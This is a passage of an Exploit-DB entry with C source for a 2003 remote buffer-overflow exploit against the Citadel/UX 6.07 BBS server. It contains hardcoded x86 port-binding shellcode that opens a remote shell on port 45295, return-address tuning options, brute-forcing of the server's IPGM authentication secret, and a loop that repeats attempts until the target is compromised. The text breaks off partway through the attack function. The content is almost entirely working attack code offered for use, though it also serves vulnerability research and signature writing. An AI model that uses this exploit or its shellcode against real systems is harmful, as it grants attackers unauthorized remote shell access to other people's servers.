Exploit-DB #58
Description: Citadel/UX BBS 6.07 - Remote Overflow
Type: remote
Platform: linux
Date: 2003-07-17
Author: Carl Livitt

Exploit:
/*
  Citadel/UX 6.07 Remote exploit
  By Carl Livitt, July 2003
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <stdarg.h>

// If you change these, things will probably break.
#define SIZ 4096
#define LEN 298
#define RET 0xbfffaf20
#define CITADEL_PORT 504
#define SHELL_PORT 45295
#define LOCAL_NET()	if(localNet) {my_sleep(nanoSecondsToSleep);}
#define CHANCE_COUNTER 5
#define NODELAY_ERR -1
#define SOCKET_ERR -2
#define CONNECT_ERR -3
#define HOST_NOT_RESOLVED -4
#define BRUTE_FORCE_EXHAUSTED -5
#define INCORRECT_IPGM_SECRET -6
#define SHELL_NOT_FOUND -7
#define SUCCESS 1
#define FAILED 0

// I'm using prewritten shellcode today... Laziness, Impatience, Hubris!
// --------
// linux x86 shellcode by eSDee of Netric (www.netric.org)
// 200 byte - forking portbind shellcode - port=0xb0ef(45295)
char shellcode[]=
	"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
	"\x06\x51\xb1\x01\x51\xb1\x02\x51"
	"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
	"\x89\xc1\x31\xc0\x31\xdb\x50\x50"
	"\x50\x66\x68\xb0\xef\xb3\x02\x66"
	"\x53\x89\xe2\xb3\x10\x53\xb3\x02"
	"\x52\x51\x89\xca\x89\xe1\xb0\x66"
	"\xcd\x80\x31\xdb\x39\xc3\x74\x05"
	"\x31\xc0\x40\xcd\x80\x31\xc0\x50"
	"\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
	"\x80\x89\xd7\x31\xc0\x31\xdb\x31"
	"\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
	"\x80\x31\xc0\x31\xdb\x50\x50\x57"
	"\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
	"\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
	"\xcd\x80\x39\xc3\x75\x40\x31\xc0"
	"\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
	"\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
	"\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
	"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
	"\x50\x68\x2f\x2f\x73\x68\x68\x2f"
	"\x62\x69\x6e\x89\xe3\x8b\x54\x24"
	"\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
	"\x80\x31\xc0\x40\xcd\x80\x31\xc0"
	"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";

// These kind of appeared as the exploit was developed
void my_send(int, char *, ...);
void my_recv(int);
void make_shellcode(char *);
void make_exploitbuf(char *);
int brute_force(int);
void usage(void);
void my_sleep(int);
void increase_chances(int,int);
int connect_to_host(char *, int);
int attempt_exploit(void);

// As did these... all global, as they kepy moving
// between functions and I grew sick of it...
int localNet=0, bufLenAdjust=0;
int nanoSecondsToSleep=100000;
int SEED_START=10;
int SEED_MAX=30000;
int NUM_ATTEMPTS=4;
int RESPAWN_SLEEP=10;
int seed;
struct timespec t;
unsigned long retAddr=RET;
char buf[SIZ], host[SIZ];
int magicNumber=0,sock,adjustRet=0,ch,retVal,i,r;
fd_set rfds;

main(int argc, char **argv) {
	int exploitAttempts=0;

	// parse command-line
	while((ch=getopt(argc, argv, "t:li:s:hr:a:A:o:O:b:B:n:S:"))!=-1) {
		switch(ch) {
 case 't':
 	strncpy(host, optarg, SIZ-1);
 	break;
 case 'i':
 	magicNumber=atoi(optarg);
 	printf("[-] Using IPGM secret: %d\n", magicNumber);
 	break;
 case 'l':
 	localNet=1;
 	printf("[-] Using local net hack\n");
 	break;
 case 's':
 	nanoSecondsToSleep=atoi(optarg);
 	printf("[-] Using sleep count of %d where necessary\n", nanoSecondsToSleep);
 	break;
 case 'r':
 	retAddr=strtoul(optarg,NULL,16);
 	printf("[-] Using RET address: 0x%08x\n", retAddr);
 	break;
 case 'a':
 	adjustRet=atoi(optarg);
 	retAddr+=adjustRet;
 	printf("[-] Using RET address: 0x%08x\n", retAddr);
 	break;
 case 'A':
 	adjustRet=atoi(optarg);
 	retAddr-=adjustRet;
 	printf("[-] Using RET address: 0x%08x\n", retAddr);
 	break;
 case 'o':
 	bufLenAdjust=atoi(optarg);
 	printf("[-] Increasing overflow buffer by %d bytes\n", bufLenAdjust);
 	break;
 case 'O':
 	bufLenAdjust=atoi(optarg);
 	bufLenAdjust=-bufLenAdjust;
 	printf("[-] Decreasing overflow buffer by %d bytes\n", bufLenAdjust);
 	break;
 case 'b':
 	SEED_START=atoi(optarg);
 	printf("[-] Bruteforce starting at srand(%d)\n", SEED_START);
 	break;
 case 'B':
 	SEED_MAX=atoi(optarg);
 	printf("[-] Bruteforce ending at srand(%d)\n", SEED_MAX);
 	break;
 case 'n':
 	NUM_ATTEMPTS=atoi(optarg);
 	printf("[-] Will try exploit %d times\n", NUM_ATTEMPTS);
 	break;
 case 'S':
 	RESPAWN_SLEEP=atoi(optarg);
 	printf("[-] Will sleep for %d seconds between exploit attempts\n");
 	break;
 case 'h':
 default:
 	usage();
 	exit(0);
		}
	}

	while(exploitAttempts++ < NUM_ATTEMPTS && (retVal=attempt_exploit())!=SUCCESS) {
		switch(retVal) {
 case HOST_NOT_RESOLVED:
 	printf("[*] Couldn't connect to host: %s not found.\n", host);
 	exit(1);
 	break;
 case SOCKET_ERR:
 	printf("[*] Couldn't grab a socket!\n");
 	exit(1);
 	break;
 case CONNECT_ERR:
 	printf("[*] Connection to %s was rejected\n",host);
 	exit(1);
 case NODELAY_ERR:
 	printf("[!] WARNING: Failed to set TCP_NODELAY option on socket\n");
 	break;
 case BRUTE_FORCE_EXHAUSTED:
 	printf("[*] Brute force operation failed. Aborting.\n");
 	exit(1);
 	break;
 case INCORRECT_IPGM_SECRET:
 	printf("[*] IPGM secret incorrect!\n");
 	exit(1);
 	break;
 case SHELL_NOT_FOUND:
 	printf("[!] This attempt failed... waiting for INIT to respawn Citadel...\n");
 	sleep(RESPAWN_SLEEP);
 	break;
 default:
 	printf("[*] ERROR: There was no error!\n");
 	break;
		}
	}
	if(exploitAttempts==NUM_ATTEMPTS)
		printf("[-] Exploit failed %d times. Aborting.\n", exploitAttempts);

	printf("\nHave a nice day!\n");
	exit(0);
}

int attempt_exploit(void) {
	int magic;

	// Connect to the host and grab the banner
	printf("[-] Connecting to Citadel server (%s) on port %d\n", host, CITADEL_PORT);
	if((sock=connect_to_host(host,CITADEL_PORT)) < 1)
		return sock;
	my_recv(sock);

	// Attempt to brute-force the secret IPGM authentication number.
	// Only do this if magic number is not given on command-line (-i flag).
	magic=magicNumber;
	if(!magic) {
		printf(